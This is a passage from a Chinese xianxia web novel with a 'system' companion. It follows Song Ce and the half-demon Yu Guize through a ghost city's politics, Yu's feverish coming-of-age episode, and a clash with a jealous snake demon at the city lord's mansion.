“可惜了。”他再一次打量宋策,喻归泽对他毫不掩饰冒犯的眼神感到厌恶恼火,他暗自咬着牙忍着不适之感。
喻归泽从宋策身侧上前一步和他摩肩,眼尾染红,目含冷光,吐言是少见的讥诮:“混交杂物,倒是惯会嘲笑他人,可笑不自量。”
系统震惊,结结巴巴:“宿、宿主,他、他这是在骂人吧。”
系统觉得自己刚才差点宕机:“他在骂他吧。”
宋策漠然:“不然呢,难不成骂我?”
系统尴尬:“怎么会?不会不会,他明显在帮宿主说话呢。”
“宿主,这个人也是半妖吗?”系统有些弄不清楚情况。
“他身上毫无妖物气息,他是魔”,宋策露出一抹笑意,“是个半魔,说半妖也没错。”
“魔族?那他岂不是和黑风鬼是同族?”
被戳中痛处的人眼神忽然冷然肃杀逼人,他眉间微抽,几息之后却闭眼恍然轻笑:“还会护主子呢?”
喻归泽和宋策没说话,在场的人都沉默不语,即使不用出手,大家都能感受面前之人不是个好惹的角色,修为绝对在他们之上。
17. 第十六章
“宿主,这个人怪怪的。”
系统想今天可能就不宜出门,尽碰到怪事。
在沉静的氛围中,宋策拉过喻归泽至身后,向前几步:“道友想怎么样?”
面前人不疾不徐地摇着扇子,视线扫过宋策身后的喻归泽,言语之中全是调侃:“别紧张,我没想怎么样,这毕竟是你的地盘,我还没有在别人家撒野的习惯。”
他嘴角染着笑意,眉宇舒缓,姿态悠哉洒脱,仿佛刚才脸色勃然一变的人不是他一样。
“在下只是途径此地,见这流沙城区运转的阵法,有些好奇而已,在此地逗留几日想看看这阵法出自谁手。”
他动作散漫毫无敬意地拱手,语气空悬恍若游丝:“毫无冒犯之意。”
说完他抬眼瞥一眼宋策的眼睛,嘴角微微弯起含着显而易见的怪笑。
系统嫌恶地看着正对着自家宿主怪笑的人,一阵恶寒:“说话气音像下一秒就要气绝而亡似的,动作也看着让人讨厌。”
系统吐槽完还不忘补充一句:“精神可能有问题。”
“这阵法并非出自我之手。”
“说说看。”
“阵法是城中遗留的残卷所显。”
“宿主,你和他说那么多做什么?”
他负手踱步打量宋策,“仅仅是残卷竟然有这般奇效,看来这小小鬼城也曾卧虎藏龙。”
“这人就是仗着自己修为在我们之上在这里扬武扬威,问东问西!”系统显然不服眼前这个举止怪异,阴阳怪气的人,他觉得这人比段厄还不会看眼色。
他略作沉思话锋一转,笑道:“上古法阵能在这小小的一方鬼城被启动,你们城主是谁?”
朱半规自然而然地忽略他最后一句,满脸不可置信:“上古法阵?你在开玩笑吧?”
段厄拧着眉手中摩挲着掌下佛尘,他记得这残卷是黑风鬼当着所有人面交给宋策的,宋策也没吝啬,当时正逢流沙城区重现灵气旋流危及城中安危,宋策拿出残卷召集所有人补全这法阵残卷。
“不错,正是上古法阵,我曾有幸见过原卷,不过你们布下的法阵和原卷所示又有差别,但效果差别不大。”
闻言段厄和朱半规齐身看向宋策,法阵是宋策召集所有人探讨的,残卷中核心机关由宋策和几位专攻法阵的老修士修复的。
场中所有人看着宋策,他却目光盯紧宋策背后的喻归泽,忽而转变神色,缓声道:“我对你们怎么补全残卷的没什么兴趣,我只是想知道这残卷你们是怎么得来的?”
他旁若无人般把弄着手中折扇,打开的扇面氤氲着蠢蠢欲动的灵气,扇面上绘制的江山水墨图仿佛染上一层缭绕水汽。
宋策眸中沉静如水,他负手立在原处,朱半规和段厄面色惊异自觉退至宋策身后,青面鬼率人站在宋策身侧。
青面鬼敛眉按紧腰策弯刀。
系统急的快要跳脚:“怎么回事?这两人怎么回事,他俩的修为明明在宿主之上还躲到你背后,贪生怕死!”
“怎么?若我们不说卷书从何而来道友还要以修为威胁逼迫我们?”宋策挥开拦在自己身侧的侍从,语意带笑,眼中却毫无退让之色。
“且不论这残卷是否是上古卷文,即使是,我们又有何义务告知道友这法阵从何而来?”
宋策上下扫过面前姿态嚣张的人周身打扮,最后目光落入对方的眼帘中,全无方才详装的客气:“道友是喜欢在别处随意这般?”
咄咄逼人之人收回手中折扇:“只是好奇而已”,他背过身,半晌,“鬼城曾经有个闻名天下的散修,这上古残卷出现在鬼城也不奇怪。”
他转身来露出几分笑意,眼睛中闪着微光:“我说过不会在这里撒野,自然并不会动手”,他歪着头眨眨眼看向宋策背后的喻归泽,“这皓月城真是鸾翔凤集。”
“希望你能活着出鬼城”,他恍然若思转折语意,“哈哈哈,我的意思鬼城只有穷阴时节极渊旋流才稍显缓懈,其他气节易进难出,道友出城可要挑着点时间。”
说完他背身抬手向身后挥挥扇子,身影渐渐消失在蒙蒙夜色中,仿若刚出现那般,声音杳杳从远处传来:“大人,往后若是出入魔族尽管来找我。”
“你——很有意思。”
“大人,这人是外城的魔族人啊。”朱半规声音悠悠地从宋策身侧传来。
“这没义气的东西吓我一跳!”在寂静的空气中系统被朱半规突如其来的声音惊吓到。
“宋哥,我们回去吧。”
喻归泽扯扯宋策的衣袖,将宋策的思绪拉回眼前。
宋策转身低头看喻归泽被冷风吹红的额头,他抬起喻归泽的脸颊伸手摩搓他眉毛,喻归泽的眉眼被宋策的动作揉搓的泛红,他皱着眉看着宋策。
宋策抬起他的手腕滑至肩侧最后指尖落到喻归泽的脖颈处,掌下一片凉意。
喻归泽有些奇怪地握住宋策按在自己脖子上的手:“怎么了?”
宋策微用力挣开喻归泽的手,平静道:“无事,今日给你穿得衣服少了。”
喻归泽捏捏自己的袖侧,有些不确定:“我刚才不小心摔倒了,但是没有伤到,你放心不用费你丹药。”
宋策哑然而笑,嘴角挂着几丝嘲讽:“不受伤就不用丹药了吗?”
喻归泽还想说说什么却被宋策一掌将脸按在他身侧。
宋策揽着喻归泽的腰身,抬头看向青面鬼随意扔给他一个巴掌大小的布袋:“在河道旁捡到的。”
青面鬼接过布袋,脸色阴暗不清,低头隔着粗布捏搓袋中东西,抬手躬身。
“宿主,里面装的是什么?”
“没打开。”
“那宿主肯定也知道里面装的是什么,怎么可能不知道就给他”,系统自觉降低声音,“明明宿主就是不想告诉我。”
宋策冷漠嘲讽:“告诉你有用吗?”
“没用……”系统礼貌闭嘴。
“青面鬼,天色不早了你处理完剩下的事务就回去吧。”
“是,大人。”青
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面鬼领着一众侍从从宋策面前退下。
宋策转向朱半规,眯起眼睑:“朱大人,我们同路,不如走一段。”
朱半规诧异地看向宋策,倏忽了然走近,腆着脸赔着笑:“哎!”
段厄嗤笑地看着谄媚的朱半规,但也没说什么,烦躁地看了一眼宋策,最后只能挥动佛尘亦步亦趋地跟在两人身侧。
……
“大人来鬼城晚,不知道也属实正常,以前这里不叫鬼城,外人都叫皓月城,只因这里靠近极南深渊,能看见神州大陆最皎洁壮观的月色,极渊灵杰毓秀之地,皓月城靠近极渊因此得名。”
“不过,后来极南深渊周遭山脉崩裂,灵气从山脉深处涌出,不知怎么的世间枉死魂灵都积聚在极渊,皓月城靠近极渊受到影响终日鬼气缭绕,怨气周旋,易进难出,人杰地灵的皓月城也就不再名副其实。”
“世间久了就没什么人叫这里皓月城了。”
宋策不语,喻归泽跟在宋策身边拽着他的衣袍。
段厄发出一声戏笑,他不动神色地瞥一眼喻归泽的动作,打断朱半规对着宋策说:“他懂什么?他也是皓月城改名之后才来的,他哪知道那么多?”
闻言朱半规转身瞪着段厄,激动地指着段厄:“你说我不懂,你也不比我好到哪里去,你不也是后来才来的?”
“起码比你早几年进来。”段厄抱手看着朱半规涨红的脸,枯涩的脸上满是嘲讽。
“皓月城以前是由一个散修管理,这个散修曾师从外界仙山修仙世家”,夜色下段厄微微低着眼睫,看不清神色,“不过据说后来被家族逐出族门流落皓月城,皓月城出事后,散修魂祭极南深渊。”
朦胧雾色中夜风之下,落地的枯叶被风卷起,段厄的一声叹息消匿在簌簌风声中。
“从此以后,极渊动荡波动,皓月城也受到波及变成鬼城陷入动乱,暗无天日。”
“暗无天日太夸张了吧,冬日偶尔还是能看到太阳月亮的。”朱半规被段厄打断,他也有些不服气地打岔段厄说话。
段厄瞪一眼朱半规。
“你们现在的城主黑风鬼岂不是就是鸠占巢穴?”
三人转身看向突然出声的喻归泽,朱半规有些尴尬,他慌乱手都不知道往哪放最后只能挠挠头皮。
“哈哈……哈哈……”,他拍拍大腿笑道,“公子在外头可能不你能在别人跟前说哈……哈哈”
宋策上前拍拍喻归泽的腰,喻归泽看一眼宋策沉寂的眼眸,抿抿唇压着眼尾不做声。
“前任城主死后,天地灵气稀薄,外界不比城内消停多少,外界亡命修士大多逃到鬼城避难。”
“乌烟瘴气。”
朱半规听到段厄最后一句话,揶揄调侃:“你这样说岂不是也在骂你自己?”
他合上手中折扇轻轻敲打手心:“咱们呀,都是外界跑到这皓月城避难来的。”
他尾音悠悠余长,朦胧雾色之中他抬头看向夜空中,系统顺着他的动作看去入眼也是迷糊一片。
18. 第十七章
“你们没想过出去吗?”喻归泽站在宋策身边,一双眼在昏暗的夜色中似乎闪动着暖色的荧光。
朱半规有些好笑地看着温润平静提出问题的喻归泽,他不断敲击手心的动作顿然。
“鬼城易进难出,即使如方才那位魔族人士所言那般,专挑极渊灵气弱的时候出去也是不容易的。”段厄的声音缥缈若无仿若声声叹息。
“那个魔族进来岂不是再难出去?”
朱半规理理被风吹乱的长发:“好问题,能进鬼城一般都是有所准备的,没有人想一辈子待在这有天无日的鬼地方。”
“宿主,那些远游三界的商贩胆子真大”
喻归泽上前一步,看向朱半规的眼中溢出了不解神情:“如此说来,你们若是想出城也是可以的,为什么不向往外界呢?”
朱半规拉着段厄向始终站在一旁不做声的宋策告礼:“大人,就到这吧。”
宋策顿首拉着欲言又止的喻归泽向道路另一侧走去。
朱半规和段厄的身影渐行渐远,喻归泽恍惚能听见从远处渺渺传来的怅然叹息。
“有天……无日……世间之大……都一样……”
“行啦……还早……喝一杯……”
长夜漫漫,夜风徐徐吹拂着沿途林木,回首只能看见隐隐约约的混沌微茫烛火,前路暗沉昏黑。
“宋哥,你想过出去吗?”
“怎么?”
穿过一片竹林就能看见三间木屋,但宋策领着喻归泽沿着竹林边的溪流走,溪水潺潺,风过林叶,萧萧簌簌。
“记起外界的事情了?”
喻归泽随着宋策站在溪水边,借着宋策点亮的灵火,可以看清层层水流缓缓抚弄光滑的鹅卵石。
这时喻归泽蹲坐在岸边一颗石头上。
“不记得……我今天看见了,看见一个人砍断了一个人的头,鲜血四溅当场,所有人旁若无事发生……”
“他们不惊不恐,和游商手里的被贩卖的人一样。”
喻归泽撑着身体仰头看向宋策,他的手不自觉地摸索着身下冰凉的石头,拂面而过的夜风也显得没那么寒凉了。
“宋哥,你去过外界吗?”喻归泽揉揉自己的脸颊,他眯着眼睛问宋策,“宋哥,是一出生就在这座城里吗?”
系统语气突然有些迟疑和惊恐:“宿主,怎么回事?他这是怎么了?”
“你不阻止他一下吗?”
喻归泽松了腰带连带着解开系在里侧的腰链,灵火之下,系统看见那条长尾泛着绯色微光缓缓显现,喻归泽扯开围在尾巴上的衣袍,情不自禁地将尾巴浸润在溪水中。
竹林溪水畔,宋策能从溪水和林叶萧瑟声中清晰地听清有别于野外的稍显急促的叹息声,犹如玄冬小动物相互依偎取暖的呼噜声,犹如清风抚弄九春娇花的轻柔呢喃声。
“宿主,你别问我啊……我、我也不知道他怎么了”,系统有些慌张和委屈,“数据丢失了,我也没有他更多的介绍。”
“我没问你。”
“宿、宿主,你拉着他点,他快掉下去了!”
宋策没有动作地站在喻归泽身侧。
喻归泽腰部以下的衣袍都被溪水浸湿透,他手中紧紧攥着宋策送他的那条腰链,长尾在水中摇曳拨弄,轻轻挑起划开膈在尾巴下的石头,浸湿的尾巴上鳞片颜色显得更加晶莹艳丽。
他仰着脸看着宋策,眼中浸着泪水脸色红润呼吸急促。
宋策蹲下身体盯着喻归泽迷离的眼睛:“知道怎么打开你的戒指吗?”
喻归泽企图伸手拉住面前人衣袖的动作顿住,他眯着眼:“什么戒指?”
宋策抚摸着喻归泽泛红的眼帘,轻笑:“想出鬼城吗?”
“想!”喻归泽左手拽着宋策的手腕脱口而出。
“我想和你一起出去看看,总有些不一样的。”
他有些发困地靠在宋策腿上,迷蒙着眼闷声:“很热,哈……腰又疼……”
宋策会心挑眉:“尾巴也疼?”
“嗯……”
“还在水里躺着?”宋策捏起喻归泽的脸颊,指下烫的发热。
喻归泽闭着眼抿嘴不语,上半身无骨般依靠在宋策肩侧。
系统小心翼翼地出声:“宿主,不早了,看他这样子是没办法自己走了,不如你背他吧?”
宋策冷笑:“这种时候你还挺会出馊主意。”
系统不服气小声抗议:“明明是你不早点回去,把他带到竹林侧溪水……”
系统不出声了,宋策为喻归泽简单系上散落的上衣,右手拉起他的胳膊左手将他的尾巴从溪水中捞起。
“缠上。”
喻归泽自觉地收紧圈在宋策脖子上的双臂,拖在地上的尾巴绕在宋策身上,他靠近宋策耳侧,轻声:“谢谢。”
温热的气息喷洒在脖颈上,宋策微侧头。
还知道道谢,脑子没烧坏。
喻归泽这时突然抓紧宋策的肩膀,着急忙慌地拉住宋策:“等等,簪子。”
宋策眉间皱起,无奈蹲下。
火光闪烁,闷雷炸响,天边闪现一片颜色。
“有烟火!”喻归泽缠紧宋策的腰腿,激动地指向前方夜空。
宋策转身停下,背着喻归泽驻足,烟火炸开在夜色中,火光照亮一片,点燃空茫朦胧的夜空,绚丽多彩的烟火让这寂寥的竹林也染上一层柔光。
烟火迸发的声音杳杳传来,缥缈微弱,但斑斓争艳的烟花绽放在夜空即使隔着有些距离也看的清楚。
宋策背着喻归泽,能感受到背上的身体愈发温热,喻归泽挂在宋策腰腹上的尾巴摩擦着湿透的一层纱布兴奋地缠绕收紧。
宋策闭眼呼吸:“松松,我快喘不上气了。”
“哦哦……”闻言喻归泽本能地拽拽紧贴在身上黏腻的衣服,将缠绕在宋策腿上的尾尖拿在手上耷在身下人肩膀上。
滚烫的热气洒在宋策的耳边:“宋、宋哥,我们回去吧。”
两人的重量压在枯叶上发出闷声,摆动的下裳卷起地上的叶子,林中不时传来“沙沙”声,除此以外,时缓时急的呼吸声时时撩动心神。
“头别靠我太近。”宋策折起眉宇,语气有些不耐。
“嗯……呼哈……”<
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p>“宿主,他有些神志不清了,可能听不清你说话了。”
见此系统斟酌措辞:“宿主,那个,我觉得他可能处在过渡期,身体有些问题也是正常的。”
“喻归泽的年纪在天灵族处于成年阶段,或许过了这个阶段就好了。”
“现存资料显示天灵族成年过渡节点比较特殊,身体可能会出现不同于正常体态的症状”,系统将现有的资料翻开展现在宋策眼前,“这个时期的天灵族人会出现身体发热,灵智不清的状态,一般其体内灵丹品阶会提升,但是喻归泽的灵丹裂开了。”
系统感叹:“不知道裂开的灵丹会受到什么影响。”
资料浏览到一处,系统有些疑惑:“按理说他五年前已经成年了,但是不知道为什么他这个期限被拉长了,现在身体还是没有恢复。”
宋策翻开关于喻归泽相关背景介绍,里面仅仅简单阐述喻归泽的有关天灵族身世,只有短短半面,后面很多数据页几乎空白。
点开关于喻归泽身边的重点人物,关于父母身世部分数据已经丢失,只有一页关于他师父的简单几行字,除此以外都是乱码。
“以前我们系统都是很高级的,别说文字介绍了,就是图片视屏都有,如果级别够高,我都能给宿主弄到全息投影。”
“闭嘴。”
宋策耳边响起几声“滋滋”电流声,禁声。
知道自己没用,他不出声。
宋策简单扫过仅存的文字介绍:“他师父给他下过药。”
“他身体有问题,修复内丹需要先要恢复他的身体。”
系统恍然大悟:“对哦,他五年前就成年了,但是一只处于过度阶段,身体一直是少年体态肯定有问题!”
系统激动万分:“所以宿主我们要怎么恢复他的身体?”
悠悠小路通向三间木屋,宋策背着已经累睡着的喻归泽推开院落木门,“吱呀”牙酸的声响被系统接收到。
系统迟迟没有接收到宋策回话:“宿主,你说话啊。”
“你觉得我知道?”
系统又不出声了,也是,自己能透露给宿主的信息少得可怜,宿主能知道就奇怪了,也是他太急于完成任务了才会问出这么蠢的问题。
宋策将喻归泽放在床榻上,解开他身上湿透的衣衫随手搭在木椅上,为喻归泽盖上被子。
安顿好喻归泽后,宋策脱下被喻归泽蹭湿透的衣袍,他突然想起衣服下摆也沾染上了血迹,随即瞥了一眼喻归泽的衣服,果然也沾上了血红。
宋策拧着眉有些嫌弃地挑落椅子上了青衣,顺手也将自己脱下来的黑袍扔到了地上。
“我完成任务你的能量是不是可以恢复?”
“是这样没错。”
“恢复能量你可以找回丢失数据吗?”
“可以是可以,但是恢复一些能量只是可以加大找到数据的几率,具体找全数据还要看运气,因为数据确确实实是丢失了,即使找到部分数据可能还要考虑数据的正确性。”
系统信誓旦旦保证:“不过宿主,你放心,我现存的数据是准确的!”
“呵。”
19. 第十八章
“宿主,他怎么样了”,系统有些着急,“现在好些了吗?”
“和那天一样。”
宋策挑开盖在喻归泽锁骨上的薄被,所见皮肤尽染红晕,体内真气在他经脉中乱窜,喻归泽的脸上时而露出痛苦的神色,时而欢愉难耐。
宋策皱着眉压低眼睫,语气略显凝重:“比上次严重。”
“目前没有办法,只能等他自己好转。”
“呼呵……冷……”
指下温度烫手,宋策为喻归泽压好被角。
他起身从衣柜中翻出遗留的一铺被子,棉被长久放在柜子中泛着潮味,宋策指尖灵力撩过被面驱散霉潮味后才将被子盖到喻归泽身上。
系统提醒宋策:“宿主,我记得厨房里还有一个炉子……”
“虽然现在冬雪差不多消融了,但是还是有些冷的。”
“你听外边风呼……”
系统声音愈说愈小,料峭春风不解意粗暴地刮动着窗沿声盖过系统的声音。
“再多嘴我把他身上被子都掀了。”
……
“宿主、宿主,你往火炉边坐点,夜里冷,你看书也会舒服点。”
宋策靠在床沿边,喻归泽还在梦中呓语,呜咽声伴着风声,木屋中时常响起火炉中碳火燃烧的“噼啪”声,宋策指尖划过泛黄的书页,面色平静。
“宿主,你很喜欢这本书吗?”系统不断在宋策耳边絮絮叨叨,“我看你经常把它带在身上,这……”
系统语气有些迟疑:“我记得这本书好像是青面鬼送你的。”
“你是不是很紧张?”
“没、没有啊,我紧张什么?”
宋策合上书册放进储物戒中,转身查看喻归泽的情况。
“若是担心他,你可以先休眠等着。”
系统还想说几句话辩解一下却被宋策冷淡打断:“别来吵我。”
“……好吧……”
宋策伸手摸进喻归泽的被褥中,果然一片湿意,他掀开被褥掐诀施术清理喻归泽身上闷出的汗湿。
宋策伸手试探喻归泽额头的温度,还有些烫。
喻归泽发丝凌乱,他紧闭双眼微张嘴呼吸急促,唇瓣绯红,两颊晕着红意。
一丝凉意落在额间,他情不自禁追随那抹凉意接近。
宋策低头看着抓住自己手腕的喻归泽,恍然目光闪动,手不自知顺着喻归泽的脸颊落在他的脖颈处,跳动的脉搏向宋策昭示着指下是一个活生生的人。
喻归泽的呼吸引起脖颈处的青筋,宋策抚弄他温热的皮肤,喻归泽喘着气息抓住身上人的手。
宋策只能停下动作。
夜风早已呼啸喘急,木窗“啪啪”作响,门也“吱啦”起声。
“别……别……别留我一个人!”
“等、等等……”
“我可以……可以……”
“可以赶回去……等我!”
沉浸梦中的喻归泽情绪越发激动,体温又开始上升,浑身肌肤被烧的通红,无奈,他只能给喻归泽输送灵力。
较之喻归泽身体上灼烧的痛苦,宋策身体的状态也并不乐观。
系统偷偷从休眠中瞄一眼屋内的情形,终于放心了,他就知道宿主不会放着任务对象不管的。
宋策停下输送灵力的动作揉揉左眼,仅剩的一颗眼珠却跟着泛起细细密密的疼痛。
良久宋策疲累地靠在案台边长舒一口气,他抬头看向窗外,不知何时窗外风声渐稀,不清楚现在何时了。
……
“把这个戴上。”
“嗯?”喻归泽疑惑地接过宋策递来的东西,举到眼前看,鼻尖嗅到阵阵清香,“香囊?”
喻归泽系上香囊,他低头抚摸白布绸缎制作的毫无装饰的香囊,闷头不语。
从宋策视角看去喻归泽低着头嘴角下撇,略显苍白的脸颊微鼓起,满脸不高兴的样子。
“怎么?”
“没什么?”
“没什么?”宋策伸手按压在喻归泽手腕脉搏处,“身体不舒服?”
喻归泽却陡然抽回手,揉揉香囊,闷声道:“好多了,不用看,再休息几日就差不多了。”
说完喻归泽扶着宋策的背往外推:“你不是说今日带我到城中去?再不去就迟了!”
“对啊对啊,宿主,自从祀春日之后,你就一直陪着喻归泽修养,都一月没出门了。”
系统提醒宋策:“你闭门不出这些日子,那个玉什么的人好像派人来请过你。”
“知道了。”
宋策按住喻归泽的脖颈动脉处,眉目微褶:“身体这么差,养了这么些日子,弱不禁风。”
喻归泽抿唇抬眼看一眼宋策又低下头,指尖擦过腰间玉佩。
“宿主,他祀春日的三天后才醒来,当时就像是快没气了一样,现在恢复成这样就很不错了。”系统见喻归泽自责不语的可怜样子,忍不住替他说话。
“当然这还得多亏了宿主!”
宋策自动忽略系统一系列的废话。
“戒指戴在手上,需要的东西放在戒指里。”
“这个戒指?”
“输一缕自己的灵力进去,它会认主的。”
突然宋策又想到什么,他拽着喻归泽的手,一抹灵力擦过喻归泽指尖,一滴血珠落到戒指上。
“滴一滴血也行。”
一炷香时段。
宋策将书桌上需要的书册和黄符朱砂都塞进了储物戒中,回头看见喻归泽还散着头发无措地站在旁边,宋策蹙眉:“还不会束发?”
“下次再学不会束发我就帮你剪了。”
闻言喻归泽脸色微变,小声辩解“:“宋哥要是短发,我短发也行。”
“禁声。”
宋策接过喻归泽手中玉簪。
院落寂寥,严冬已经过去,空气中的风都散着暖意,门前的枝丫开始抽出嫩绿的枝条,两人走在竹林中隐约能听见“叽喳”鸟雀声。
竹叶摩挲萧瑟,一青一黑剪影交错在朦胧翠色之间,寥寥传来几句交谈。
“香囊戴在身上不许离身。”
“知道……”
“练气入道暂且往后推推,先把身体养好再说吧。”
……
城主府位于城中心地段,是灵气交汇聚集之地,昔日黑风鬼钻空子鸠占鹊巢,仗着修为高占领城中灵气汇聚地段,直接住在了旧城主府上,在旧址上扩建府邸供他寻欢作乐。
宋策领着喻归泽走入府邸,喻归泽拉着宋策衣袖跟在他身侧,领路的小妖眼观鼻鼻观心低头指路。
“宋道友,好久不见。”
一位雪发红衣修士从宋策身后走来,她未施粉黛鹤发童颜,面目亲和温柔,眉眼柔和,嘴角微微勾起,行至宋策身前恭敬行礼。
“上次宋大人走的匆忙,苍月未来得及向大人道谢。”
她躬身行礼解释:“城主闭关之前交给我们关于锁灵阵的事宜,全由宋道友解决,劳烦道友了。”
“苍道友忙于御兽修符,阵法上的事务不必烦心。”
苍月眯眼谦和地笑起来:“道友哪里话。”
苍月这时注意到宋策身侧的喻归泽,虽察觉到喻归泽尚未入道,却也礼貌行礼:“公子。”
喻归泽本能地举手加额向苍月行修者礼节,见此苍月眸色深沉,笑意加深不语。
“宋道友、宋道友,你可算来了。”
一声苍老的声音传来,三人回头看去,只见两位头发花白,一把白胡子的老修士拄着拐杖随着侍从走来,两人身后陆续跟着一众修士。
“宋道友,我这一月都在研究你给我看的那个法阵,还有几处不甚理解,等会儿去我那看看啊。”
“行了,城主快来了,有什么事等结束再说。”
“嘿,你这老家伙,别拉我,我这腿脚不行!”
“宋道友,稍后去我那聊聊,我前几日得了一卷法阵残卷,我给你看看。”
“哎,你这人,怎么不讲究个先来后到!”
一位身穿白色道袍的中年修士趁着两位老修士吵闹的空隙,嬉笑着挪到宋策身前,他靠近:“宋道友,我新得了丹方,有空咱们研究研究。”
喻归泽一眼能猜出靠近宋策身边的人是丹修,他那一身白色袍子上沾染了炉灶里炉灰,满身草木灰的味道,和他同行来的人都避开他免得沾上炉灰。
他拍拍自己的黑手,有些局促地抬手,想碰宋策的动作举起又放下,似乎是清楚自己的手脏最后只是很识趣地站在宋策几步远外讪笑。
宋策反手握住喻归泽的手,颔首:“有机会再探讨。”
……
“众位大人,请吧!”
领路人指示入府的修士进入大堂。
“跟着侍从走,等结束后我去接你。”
“好。”喻归泽眼中闪过几分柔和笑意随后跟着小妖离开。
围在宋策身前的修士面面相觑,几个年轻的修士
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有些稀奇地看看宋策再看看离去的喻归泽。
还有几人暗自感慨,宋大人从来恣意无畏,就这样将自己身边人带到城主府中。
“这位公子容貌不凡,宋策就这样带到府上来了?”
“不要命了,敢在宋策面前传音!”
“嘿嘿,没事的。”他其实也是有些心虚,传音也是有被拦截的风险的。
……
喻归泽离开宋策后跟着小侍,一路上可以看出这座府邸是后来扩建过,除了修士集聚的大堂和几处木质建筑是旧建筑,其余都是后来新建的。
喻归泽暗自思虑,他自进入这座府邸,就能感受到体内滞涩的经脉似乎又所缓解,灵根对灵气的感知也更加敏锐。
“公子,在里侧等候即可。”
“多谢。”
喻归泽闭目坐着,感受四周汇聚又流淌的鲜活灵气,丹田经脉的细密疼痛犹如被温和流水抚摸,浅浅减轻身上的不适之感,也许是府上令人感到熟悉又亲和的气息,睁眼目光所及之处确是比往日清明通透。
他深呼一口气,从储物戒中翻出宋策交给自己的《源经》,早已翻看许多遍,宋策为他抄写的经文字迹被自己磨损了一些,他细细抚平折痕,心中涌起阵阵热意,疑惑今日看这些字仿佛又和以前有些不同。
“连大人,有位公子正在里侧等候宋大人。”
“拿宋策压我,你也配,给我滚!”
“连、连大人,您不能进去。”
奸细的嗓音从门外传来,喻归泽目光微闪,脸上不自觉露出几分被打扰的阴霾,他收起书册起身向门外走去。
迎面闯入一位身穿青色衣衫下摆摇曳这雪白长尾姿色艳丽的蛇妖,喻归泽后退让步,指尖顺手擦过腰间玉佩。
喻归泽看一眼战战兢兢守在门外手足无措的侍从,他捻捻衣袖示意他退下。
转过身看到面前人已经坐在了圆桌上,那条雪色长尾就勾在凳子上。
他嘴角勾起嘲讽讥诮的笑意挑眉打量着同样一袭青衫的喻归泽。
“妖?”
他挑起一缕青丝绕在指尖,眉眼看似妩媚多情,看向喻归泽的眼却含着冰冷情绪。
“叫什么?”
喻归泽平静的回视他的扫视:“喻归泽。”
“哈!”
他跳下桌子,长尾扫开挡在面前的凳子,“嘭”的一声木凳不堪一击碎裂,木屑崩裂到喻归泽衣摆上。
喻归泽微折眉,低头抖落干净青衫,眸光暗显冷光。
“你就是一直被宋策藏在身边的妖宠?”
他缓步走到喻归泽身后,指尖挑起喻归泽的衣服,语气颇有些嫌弃:“有点姿色,但看上去也没什么趣味。”
他嗤笑一声,目光一凝盯着一处。
察觉到头上发丝松散,肩头落下长发,喻归泽眼中溢出怒意,蓦然转身。
“呦……生气了?”
喻归泽眸中凝重,眼尾晕染微薄红晕,连尽看着这样的喻归泽愈发嚣张。
“这是你的东西吗?”他拿着玉簪轻巧地在指尖转动,满眼挑衅。
“宋策给你的?”
连尽走近喻归泽,不知是他错觉还是其他,眼含怒意的人原本温润如水般的棕色眼瞳中似乎荡漾着朦胧血色。
他低头冷笑,语气中满是不屑和戏谑:“竟然将这玉送你了。”
“这可是极渊的孤山玉,,炼器的上品材料,城中仅剩的一点料子,城主赏赐给了宋策,没想到他竟然用来给你做了簪子。”
可恨他向城主讨要都没要到好。
他摩挲玉簪的纹理,尚且能透析玉料中蕴含的极渊灵气,再次看向喻归泽的眼中藏嫉怒。
连尽怒火中烧,他看着喻归泽平复好心绪后冷清地站在一边,平静的看着自己,心里只觉得愈发嫉恨。
喻归泽冷漠盯着他,脸颊上是久病初愈的苍白,他勾起薄唇眼中平静无波地扫视连尽,视线落到他的下身。
连尽察觉到他的眼神,被动地将自己尾巴藏在身后,喻归泽冰冷的眼神中藏着肃杀和蔑视,连尽心中奇怪地感觉自己仿若被一只野兽轻蔑打量。
他心中猛然惊异,原来方才眼前人并不是恼怒,那是无视和冷漠。
他徒然抬头瞪着喻归泽:“你是什么东西?竟敢这样看我!”
喻归泽转动眼珠审视他衣袍之下的尾巴,唇角微动,气息轻缓,淡漠的样子仿佛是对他无礼的奚落。
“不知羞耻。”
20. 第十九章
“宋大人?”
众人看过宋策起身的动作,皆疑惑宋策现在离席做什么。
“宋道友,现在不宜离开。”苍月拦住宋策离开的身形。
黑风鬼阴晴不定,虽不知这次堂会能否如约到场,但宋策现在离开恐怕会落人口舌,若黑风鬼到场后见不到宋策届时又要发难。
宋策凝眸,咬紧牙关,忍住妖丹灼烧的痛感,传音给苍月:“我带来的人遇到麻烦,帮我打掩护。”
宋策转身离开的一瞬苍月看清他闪过血红眼,顿时心中一惊,暗叹:“好。”
“多谢。”
“你先走。”宋策停下脚步对跟在前方带路的小侍吩咐,小妖停下脚步不曾回头,随后先行离开。
四下无人,宋策按住丹田处拐到一处死角。
“宿主,你怎么样?”系统见宋策似乎疼的厉害,但又担忧黑风鬼,“宿主,你现在离开要是那个黑什么鬼突然到场,见你不在为难你怎么办?”
宋策嗤笑:“他现在自顾不暇哪里管得了我。”
“再不离开我就得倒在大堂上。”
宋策吞下几粒丹药调息,他紧紧咬着牙,指尖刺进手心,血迹顺着指缝流下,灼烧感尚且不得缓解,只能靠着墙长叹一口气,仰头看天,明明是身处空旷的场地他却觉得憋闷眼前眩晕发黑,心中勃然恼火起来。
“……”
闻言系统一头雾水:“啥?宿主你说了啥?”
“闭嘴!”宋策扶着墙站起身擦去额间冷汗。
系统听着宿主因疼痛起伏不定的呼吸,一声不敢吭。
他好像听到宿主骂了一声废物,他觉得这个“废物”即使不是在骂自己也有他的一份,他偷偷瞄一眼,发现宿主向来平静无波的棕色眼眸翻滚着怒意和偏执。
“走吧。”
……
“可笑,难道你又比我好多少?”
“将玉簪还我。”
“你个妖奴配用这种东西?”
连尽奸细的嗓音几乎破音,喻归泽那双幽暗的眸子只是平静地盯着眼前人。
喻归泽微皱眉,一瞬的疑惑:“我不配?”
他把玩着腰间玉佩,连尽察觉到他的动作,指尖捏紧手中玉簪,指甲摩擦玉料发出如刮骨般牙酸的声音。
喻归泽不欲和眼前人争论,他伸手想从连尽手中抢夺玉簪,却被连尽闪身躲过。
“胡搅蛮缠。”
喻归泽从储物戒中取出唯一具有攻击性的戒尺,侧劈连尽手腕,连尽没想到喻归泽竟然动手,他虽气恼喻归泽言出不逊但也没想过出手伤这人。
但连尽心中却也不甚服气,他出掌挡开喻归泽的动作,却不曾想喻归泽的戒尺毫无灵气但却含有暗劲,刹时手腕一震钝痛。
“你!”
